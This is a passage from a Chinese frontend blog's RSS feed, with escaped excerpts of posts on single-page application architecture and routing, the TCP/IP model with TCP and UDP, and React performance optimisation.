&lt;li&gt;&lt;strong&gt;输出层&lt;/strong&gt;：10个神经元，对应数字0~9&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为什么叫&amp;quot;隐藏层&amp;quot;？因为在训练数据中，我们只知道输入（像素）和输出（标签），中间层在&amp;quot;学什么&amp;quot;我们并不直接指定——它们是被自动学出来的。&lt;/p&gt;</description></item><item><title>单页面架构</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-013/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-013/</guid><description>&lt;h3 id="传统的多页面应用构建方式"&gt;传统的多页面应用构建方式：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;纯服务端渲染，前后端不分离，使用&lt;code&gt;jsp&lt;/code&gt;,&lt;code&gt;jade&lt;/code&gt;,&amp;rsquo;ejs&amp;rsquo;,&amp;rsquo;tempalte&amp;rsquo;等技术在后台先拼接成对应的&lt;code&gt;HTML&lt;/code&gt;结构，然后转换成字符串，在每个对应的路由返回对应的数据（文件）即可&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Jade&lt;/code&gt;模版服务端渲染，代码实现：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-mysql" data-lang="mysql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const express&lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;express&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const app &lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;express&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const jade &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;jade&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;***&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const url path &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;***&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;const html &lt;span style="color:#f92672"&gt;=&lt;/span&gt; jade.&lt;span style="color:#a6e22e"&gt;renderFile&lt;/span&gt;(url, &lt;span style="color:#960050;background-color:#1e0010"&gt;{&lt;/span&gt; data: result, urlPath &lt;span style="color:#960050;background-color:#1e0010"&gt;}&lt;/span&gt;)&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;传入数据给模板引擎&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;app.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;,(req,res)&lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; res.&lt;span style="color:#a6e22e"&gt;send&lt;/span&gt;(html)&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;直接吐渲染好的&lt;/span&gt;&lt;span style="color:#f92672"&gt;`&lt;/span&gt;html&lt;span style="color:#f92672"&gt;`&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;文件拼接成字符串返回给客户端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;}&lt;/span&gt;) &lt;span style="color:#f92672"&gt;//&lt;/span&gt;RestFul接口
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;app.&lt;span style="color:#a6e22e"&gt;listen&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;3000&lt;/span&gt;,err&lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;//&lt;/span&gt;do something
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;}&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;jQuery&lt;/code&gt;等传统库绘制的前端页面&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="传统前后端不分离服务端渲染的优缺点"&gt;传统前后端不分离，服务端渲染的优缺点：&lt;/h3&gt;
&lt;h4 id="优点"&gt;优点：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SEO&lt;/code&gt;友好，因为返回给前端的是渲染好的&lt;code&gt;HTML&lt;/code&gt;结构，里面的内容都可以被爬虫抓取到。&lt;/li&gt;
&lt;li&gt;对于一些应用性能等要求不高的项目，比如某个公司的静态网页，内容很少的情况下，直接一把梭就好，不用再搭建工程化的环境等&lt;/li&gt;
&lt;li&gt;对于后端程序员（全干工程师）来说，不用去特意学习前端框架，公司也不用特意去招聘前端&lt;/li&gt;
&lt;li&gt;兼容性好，传统服务端渲染多页面应用吐出来的都是字符串，&lt;code&gt;HTML&lt;/code&gt;结构&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="缺点"&gt;缺点：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;如果项目很大，不利于维护，据我所知，目前很多云计算公司，还有不少都是使用非单页面应用，例如一个几十万行的项目是用&lt;code&gt;jQuery&lt;/code&gt;写的，如果注释和文档不是非常齐全，那么真的会无从下手&lt;/li&gt;
&lt;li&gt;性能和用户体验，不能跟单页面应用相比&lt;/li&gt;
&lt;li&gt;后期迭代，升级空间不大，目前大部分写得比较好的库，都建立&lt;code&gt;vue,react&lt;/code&gt;等框架基础上，他们都有一套自己的运行机制，有自己的生命周期，并且不像传统的应用，还加上了一层虚拟&lt;code&gt;DOM&lt;/code&gt;以及&lt;code&gt;diff&lt;/code&gt;算法&lt;/li&gt;
&lt;li&gt;现在类似&lt;code&gt;Ant-Design-pro&lt;/code&gt;这样的开箱即用的库已经很多，单页面应用的学习和开发成本已经很低很低，如果还在使用传统的技术去开发新的应用，对于开发人员多内心来说也是一种折磨。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;这里并不是说多页面应用不好，只能说各有各自的好，单页面应用如果通过大量的极致优化手段，是可以从不少方面跟原生一拼。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-013/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="目前的单页面应用"&gt;目前的单页面应用：&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;只有一张Web页面的应用，是一种从Web服务器加载的富客户端，单页面跳转仅刷新局部资源 ，公共资源(js、css等)仅需加载一次，常用于PC端官网、购物等网站&lt;/li&gt;
&lt;li&gt;其实只有一个空的&lt;code&gt;DIV&lt;/code&gt;标签，其他都是&lt;code&gt;js&lt;/code&gt;动态生态的内容&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="单页面应用实现步骤"&gt;单页面应用实现步骤：&lt;/h3&gt;
&lt;h4 id="代码实现"&gt;代码实现：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;首先是一个静态模板文件 &lt;code&gt;index.html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!DOCTYPE html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;meta http-equiv=&amp;#34;X-UA-Compatible&amp;#34; content=&amp;#34;ie=edge&amp;#34;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div id=&amp;#34;root&amp;#34;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在&lt;code&gt;vue react&lt;/code&gt;框架的入口文件中指定对应的渲染元素：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import React from &amp;#39;react;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import ReactDOM from &amp;#39;react-dom&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ReactDOM.render(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;App/&amp;gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.querySelector(&amp;#34;#root&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;引入&lt;code&gt;react-router或者 react-router-dom，dva&lt;/code&gt;等路由跳转的库&lt;/li&gt;
&lt;li&gt;配置路由跳转&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;HashRouter&amp;gt;//这里使用HashRouter
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;ErrorBoundary&amp;gt;//React错误边界
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;Switch&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;Route path=&amp;#34;/login&amp;#34; component={Login} /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;Route path=&amp;#34;/home&amp;#34; component={Home} /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;Route path=&amp;#34;/&amp;#34; component={NotFound} /&amp;gt;//404路由或者重定向都可以
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/Switch&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/ErrorBoundary&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/HashRouter&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="单页面应用所谓路由跳转其实最终结果就是"&gt;单页面应用所谓路由跳转，其实最终结果就是：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;浏览器的&lt;code&gt;url&lt;/code&gt;地址发生变化，但是其实并没有发送请求，也没有刷新整个页面&lt;/li&gt;
&lt;li&gt;根据我们配置的路由信息，每次点击切换路由，会切换到不同的组件显示，类似于选项卡功能的实现,但是同时&lt;code&gt;url&lt;/code&gt;地址栏会变化&lt;/li&gt;
&lt;li&gt;分为&lt;code&gt;HashRouter&lt;/code&gt;和&lt;code&gt;BrowserRouter&lt;/code&gt;两种模式&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="自己实现一个粗略的路由跳转"&gt;自己实现一个粗略的路由跳转：&lt;/h2&gt;
&lt;h3 id="自己实现传统的hash模式跳转"&gt;自己实现传统的&lt;code&gt;Hash&lt;/code&gt;模式跳转：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;hash 就是指 url 后的 # 号以及后面的字符。例如&lt;code&gt;www.baidu.com/#segmentfault&lt;/code&gt;,那么&lt;code&gt;#segmentfault&lt;/code&gt;就是&lt;code&gt;hash&lt;/code&gt;值&lt;/p&gt;</description></item><item><title>TCP和UDP</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/</guid><description>&lt;h2 id="tcpip-五层模型"&gt;TCP/IP 五层模型&lt;/h2&gt;
&lt;p&gt;先看图，为网络模型分层，以及一个完整http请求在五层模型中的完整工作流程&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/tcp-udp/image-01.webp"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;应用层&lt;/code&gt;：最高层，提供特定于应用程序的协议，运行在该层的协议有HTTP、FTP、SSH、WebScoket等&lt;/li&gt;
&lt;li&gt;&lt;code&gt;传输层&lt;/code&gt;：为两个主机进程通信提供通用的数据传输协议，如TCP、UDP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;网络层&lt;/code&gt;：负责寻址和路由功能，将数据包发送到特定的计算机，主要协议是IP协议，路由器就是在这一层&lt;/li&gt;
&lt;li&gt;&lt;code&gt;链路层&lt;/code&gt;：负责将二进制数据包和网络信号相互转换，交换机、网卡就是在这一层&lt;/li&gt;
&lt;li&gt;&lt;code&gt;物理层&lt;/code&gt;：主要有接收器、发送器、中继器、光纤电缆等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;网络协议通过分层来明确每一层的工作职责，通过定义明确的接口来协同工作，第一层都可以使用下面各层的功能，而不用担心各层是怎么实现的。就好像我们开发封装组件一样，每一个组件各自负责各自的事，互不干扰，也提高了复用度，如上图文件基本传输过程，也就是&lt;code&gt;http分层工作流程&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主机A发起请求，数据发送前会被分为许多片段，称为数据包，然后使用http协议将数据包封装，并加上&lt;code&gt;请求头&lt;/code&gt;，传给下一层&lt;/li&gt;
&lt;li&gt;传输层拿到数据，为每个数据包分配一个端口号，用来确定目标计算机的哪一个应用程序，然后使用TCP协议进行处理，加上&lt;code&gt;TCP头&lt;/code&gt;或&lt;code&gt;UDP头&lt;/code&gt;，通过TCP协议传给下一层&lt;/li&gt;
&lt;li&gt;网络层拿到数据后为每个数据包添加目标计算机的IP地址，并决定传给什么路由或接收的主机，再封装传给下一层&lt;/li&gt;
&lt;li&gt;链路层将数据转译成电子信号，进一步封装成&lt;code&gt;数据帧&lt;/code&gt;，传给物理层&lt;/li&gt;
&lt;li&gt;物理层通过电缆传送给主机B这边的链路层&lt;/li&gt;
&lt;li&gt;主机B的链路层拿到数据后，检查每个包中的目标地址并确定将其发送到哪里，如果不是发给自己的就丢弃，然后根据数据确定协议类型，再传给网络层的IP协议模块&lt;/li&gt;
&lt;li&gt;网络层接收到后拆开获取&lt;code&gt;IP头&lt;/code&gt;，判断首部接收的IP地址匹配，然后根据&lt;code&gt;头部协议类型&lt;/code&gt;，转发TCP或UDP等&lt;/li&gt;
&lt;li&gt;传输层TCP收到后会&lt;code&gt;计算校验&lt;/code&gt;，判断数据的&lt;code&gt;完整性&lt;/code&gt;，然后处理数据包顺序接收的逻辑，最后根据&lt;code&gt;端口&lt;/code&gt;确定要转发给应用层的哪个程序&lt;/li&gt;
&lt;li&gt;最终应用层接到数据之后，根据http协议&lt;code&gt;解析&lt;/code&gt;数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里只展开一下网络层的 IP 和传输层的 TCP 、UDP&lt;/p&gt;
&lt;h2 id="ip"&gt;IP&lt;/h2&gt;
&lt;p&gt;如果是在&lt;code&gt;局域网&lt;/code&gt;内都是用&lt;code&gt;MAC地址通信&lt;/code&gt;，局域网之外，就得用IP了。MAC就像是身份证，IP就像是住址。所有TCP、UDP、ICMP等数据都是以IP数据报格式进行传输&lt;/p&gt;
&lt;p&gt;IP协议本身不支持发往目的地址失败的IP数据包，也没有提供直接的方式获取诊断信息，比如发送途中经过哪些路由器，以及往返时间，而这就由&lt;code&gt;ICMP协议&lt;/code&gt;来专门负责&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ICMP并不为IP网络提供可靠性，只用于反馈各种故障和配置信息，丢包不会触发ICMP&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我们常用的ping就是用ICMP查询报文。不过ping使用ICMP协议会直接跳过了传输层，所以ping程序是没有端口号的&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;IP协议的特点是：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IP协议是不可靠的传输协议&lt;/code&gt;。如果 ICMP协议出现传输异常，IP都会丢弃数据包并可能会响应一个ICMP差错消息给发送端，而&lt;strong&gt;任何要求可靠性必须由上层如TCP协议来提供&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IP协议是无连接的&lt;/code&gt;。就是不维护任何关于后续数据的状态信息，每个数据独立。表现在：可以不按发送顺序接收，不用维护连接状态，免去了维护复制的链路状态信息(TCP会讲到)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="udp"&gt;UDP&lt;/h2&gt;
&lt;h3 id="udp的特点"&gt;UDP的特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;无连接&lt;/code&gt;不需要握手和挥手就可以直接发送数据。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不可靠性&lt;/code&gt;：就是一个传递数据的搬运工，来一个包就发一个。不会备份，也不关心对方是否正确收到，传输顺序也无法保证。所以就只能由应用层来保证可靠，因为网络层也是不可靠的&lt;br&gt;&lt;/li&gt;
&lt;li&gt;在发送端应用层将数据传给传输层的UDP，它只&lt;strong&gt;加一个UDP头标识&lt;/strong&gt;(UDP协议)，就直接发给网络层了。&lt;/li&gt;
&lt;li&gt;接收端在网络层将数据发给传输层，传输层UDP&lt;strong&gt;只去掉IP报文头&lt;/strong&gt;就传给应用层了。&lt;/li&gt;
&lt;li&gt;其他什么都不会管，不过这也&lt;code&gt;减少开销和发送数据之前的延迟&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;支持广播&lt;/code&gt;：有单播，多播，广播的功能，不只支持一对一传输方式，还支持一对多，多对多的方式&lt;/li&gt;
&lt;li&gt;&lt;code&gt;首部开销小&lt;/code&gt;：8个字节（&lt;code&gt;源端口号&lt;/code&gt;(非必填)、&lt;code&gt;目的端口号&lt;/code&gt;、&lt;code&gt;UDP长度&lt;/code&gt;(数据报的整个长度)、&lt;code&gt;UDP检查和&lt;/code&gt;(检测UDP数据报是否有错或者目的端口找不到对应的进程，&lt;code&gt;各2字节&lt;/code&gt;），因为它要求不高而且实现的功能没有那么多，所以首部字段不多，而&lt;code&gt;TCP有20个字节&lt;/code&gt;。它的数据是可以为0的，所以它最少可以是8个字节&lt;/li&gt;
&lt;li&gt;&lt;code&gt;是面向报文的&lt;/code&gt;：适合一次性传输少量数据，因为应用层给UDP多长的报文都会照样发送，即一次发送一个完整的报文，即不合并也不拆分。如果报文太长的话，UDP完整的装进来交给网络层的话，网络层就要分片了，因为传给链路层的话它有一个MTU的要求，所以网络层就要分片，这会给网络层的效率造成影响&lt;/li&gt;
&lt;li&gt;&lt;code&gt;无拥塞控制&lt;/code&gt;：适合实时应用，因为它会一直以恒定的速度发送数据，即使网络条件不好，也不会对发送速率进行调整。这就导致在网络不好的情况下就有可能丢包，但优点也明显，在某些实时性要求高的场景比如说聊天、在线视频、网络语音电话等使用UDP而不是TCP，比如打微信电话出现偶尔断续不是太大问题。当然拥塞太严重也有一些补救措施比如向前纠错或者重传&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="udp-为什么不可靠"&gt;UDP 为什么不可靠&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;传输数据之前&lt;code&gt;不需要先建立连接&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不保证消息交付&lt;/code&gt;，远程主机的传输层在接收到UDP报文后，不需要确认&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不保证将会顺序&lt;/code&gt;，不设置包序号、不重排、不会发生队首阻塞&lt;/li&gt;
&lt;li&gt;&lt;code&gt;不进行拥塞控制&lt;/code&gt;，没有内置反馈机制，不重传、无超时&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="tcp"&gt;TCP&lt;/h2&gt;
&lt;p&gt;这是我们平时用的最多的协议，特别是前后端 TCP给应用程序提供了一种与UDP完全不同的服务 TCP是面向连接的可靠的服务，面向连接指TCP的两个应用程序必须在它们可交换数据之前，通过相互联系来建立一个TCP连接 TCP提供了一种字节流抽象概念给应用程序：不会自动插入记录标志或者消息边界，如发送端分别发10字节和30字节，接收端可能会以两个20字节的方式读入&lt;/p&gt;
&lt;h3 id="tcp的特点"&gt;TCP的特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;是面向连接的&lt;/code&gt;，通信之前双方必须要先建立连接&lt;/li&gt;
&lt;li&gt;&lt;code&gt;只支持单播&lt;/code&gt;，就是点对点的传输，一条TCP连接只能有两个端点&lt;/li&gt;
&lt;li&gt;&lt;code&gt;提供可靠交付的服务&lt;/code&gt;，有完整性校验、数据不会丢失，会丢包重传、且会按顺序到达&lt;/li&gt;
&lt;li&gt;&lt;code&gt;是面向字节流的&lt;/code&gt;。不像UDP那样一个个报文独立传输，而是在不保留报文边界的情况下以字节流方式进行传输&lt;/li&gt;
&lt;li&gt;&lt;code&gt;提供拥塞控制&lt;/code&gt;，当网络出现拥塞的情况，有流量控制，能够减少传输数据的速度和数量，缓解拥塞，保证稳定&lt;/li&gt;
&lt;li&gt;&lt;code&gt;提供全双工通信和可靠通信&lt;/code&gt;，指的是发送方和接收方可以&lt;code&gt;同时发送数据&lt;/code&gt;也可以&lt;code&gt;同时接收数据&lt;/code&gt;。因为两边都会设置有&lt;strong&gt;发送缓存&lt;/strong&gt;和&lt;strong&gt;接收缓存&lt;/strong&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;发送缓存&lt;/code&gt;就是发送缓存的队列里面有准备发送的数据和已经发送但是还没有收到来自接收方确认的数据，如果没有收到确认还要重发所以不能扔掉，将可能会被重传，因为TCP需要保证可靠传输&lt;/li&gt;
&lt;li&gt;&lt;code&gt;接收缓存&lt;/code&gt;就是按序到达但是还没有被接收应用程序读取的数据和没按序到达的数据，需要顺序排好了，接收方才能逐一接收数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="为什么说-tcp-是可靠的"&gt;为什么说 TCP 是可靠的&lt;/h4&gt;
&lt;p&gt;因为接收方收到数据后会发送一个ACK确认应答消息，这样发送方就知道自己的数据被对方接收了，如果一直没有收到ACK一定时间后就会重发。因此就算数据没有发到接收方，或者接收方的ACK数据包丢失也有重传机制，确保双方最终可以通过重传也能正确收到消息&lt;/p&gt;
&lt;h4 id="重传机制"&gt;重传机制&lt;/h4&gt;
&lt;p&gt;由于TCP的下层网络层可能出现丢失、重复或乱序的情况，TCP协议需要提供可靠数据传输服务。&lt;/p&gt;</description></item><item><title>性能优化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-013/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-013/</guid><description>&lt;p&gt;本文篇幅较长，将从 &lt;strong&gt;编译阶段&lt;/strong&gt; -&amp;gt; &lt;strong&gt;路由阶段&lt;/strong&gt; -&amp;gt; &lt;strong&gt;渲染阶段&lt;/strong&gt; -&amp;gt; &lt;strong&gt;细节优化&lt;/strong&gt; -&amp;gt; &lt;strong&gt;状态管理&lt;/strong&gt; -&amp;gt; &lt;strong&gt;海量数据源，长列表渲染&lt;/strong&gt; 方向分别加以探讨。&lt;/p&gt;
&lt;h2 id="一-不能输在起跑线上优化babel配置webpack配置为项"&gt;一 不能输在起跑线上，优化babel配置,webpack配置为项&lt;/h2&gt;
&lt;h3 id="1-真实项目中痛点"&gt;1 真实项目中痛点&lt;/h3&gt;
&lt;p&gt;当我们用&lt;code&gt;create-react-app&lt;/code&gt;或者&lt;code&gt;webpack&lt;/code&gt;构建&lt;code&gt;react&lt;/code&gt;工程的时候，有没有想过一个问题，我们的配置能否让我们的项目更快的构建速度，更小的项目体积，更简洁清晰的项目结构。 随着我们的项目越做越大，项目依赖越来越多，项目结构越来越来复杂，项目体积就会越来越大，构建时间越来越长，久而久之就会成了一个又大又重的项目，所以说我们要学会适当的为项目‘减负’，让项目不能输在起跑线上。&lt;/p&gt;
&lt;h3 id="2-一个老项目"&gt;2 一个老项目&lt;/h3&gt;
&lt;p&gt;拿我们之前接触过的一个&lt;code&gt;react&lt;/code&gt;老项目为例。我们没有用&lt;code&gt;dva&lt;/code&gt;,&lt;code&gt;umi&lt;/code&gt;快速搭建react，而是用&lt;code&gt;react&lt;/code&gt;老版本脚手架构建的，这对这种老的&lt;code&gt;react&lt;/code&gt;项目，上述的问题都会存在，下面让我们一起来看看。&lt;/p&gt;
&lt;p&gt;我们首先看一下项目结构。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-013/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;再看看构建时间。&lt;/p&gt;
&lt;p&gt;为了方便大家看构建时间，我简单写了一个&lt;code&gt;webpack，plugin&lt;/code&gt; &lt;code&gt;ConsolePlugin&lt;/code&gt; ,记录了&lt;code&gt;webpack&lt;/code&gt;在一次&lt;code&gt;compilation&lt;/code&gt;所用的时间。&lt;/p&gt;
